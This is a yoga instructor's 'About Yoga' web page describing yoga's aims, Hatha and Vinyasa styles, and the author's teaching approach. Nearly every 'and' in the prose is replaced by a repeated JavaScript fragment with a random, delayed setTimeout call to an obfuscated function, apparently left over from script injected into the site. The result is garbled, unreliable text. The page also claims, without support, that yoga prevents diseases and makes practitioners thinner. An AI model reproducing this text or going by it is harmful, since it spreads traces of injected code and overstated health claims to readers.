About Yoga

What Yoga is…

Yoga is the ‘union’ or ‘yoking’ of the body, mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spirit. The practice of Yoga brings these three entities into one mindfulness in the individual. Yoga enables a greater self-awareness. Yoga develops one’s flexibilitybalance emotional stability, breath andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strength. Yoga is an ancient tradition that has been documented to have been practiced as long ago as 3000 B.C.

Yoga assists the individual in identifying a greater sensitivity to areas of the body which are often overlooked in traditional medicine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and traditional exercise, enabling the individual to experience a centering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and calmness. By keeping the energy meridians open andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and life energy (Prana) flowing, Yoga prevents diseases andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maladies. It has also been used as supplementary therapy for such diverse conditions as cancer, diabetes, arthritisasthma, AIDS, heart disease/hypertension,irritable bowel syndrome andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relieving psychological stress.

Yoga is an organized methodology to improve the body, improve mindfulness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enhance one’s spirit. Yoga both increases flexibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strength; yoga also  increases calmness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energizes; individuals who practice yoga appear more youthful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are usually thinner. Yoga embraces opposites andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and extends beyond the practice mat improving diverse bodily activities from sleep to digestion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coordination andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and proprioception (balance).

Hatha yoga is the foundational yoga; in other words, all the many styles of yoga practiced in the United States andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most of the Western world are built upon Hatha yoga. Vinyasa, is a general term for flowing Asanas (yoga poses or postures) in a breath synchronized movement  or flow that moves seamlessly from one Asana to the next. It usually includes Sun Salutations. While Yoga is not a religion, it evolved as a spiritual practice in Hinduism. In the Western world, Asanas (one part of the eight limbs of yoga)  are the practice of the physical postures of Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have grown in popularity because of the great physical fitness one derives from their practice. Yoga is both an art andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and science that brings body, mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spirit in union to increase one’s self-awareness both physically andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spiritually. It is practiced by Christians, Buddists, Jews, Muslims Hindus, agnostics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and atheists alike. As Dr. Timothy McCall, M.D. points out in his book, Yoga as Medicine, “Like AA, Yoga is compatible with any religion, or none, if that’s your preference.”

I practice Hatha Yoga in a flowing Vinyasa style. I gear my teaching to the needs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and level of my student(s). I bring beginners into a safe practice assisting them in building a yoga practice that meets their level of fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mobility, which I challenge appropriately as the student progresses. I follow the same philosophy in instructing my intermediate students; meeting them where their level of yoga practice is andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenging their skills as appropriate. You can find me listed on the Florida Yoga Instructor guide, YogaCabana.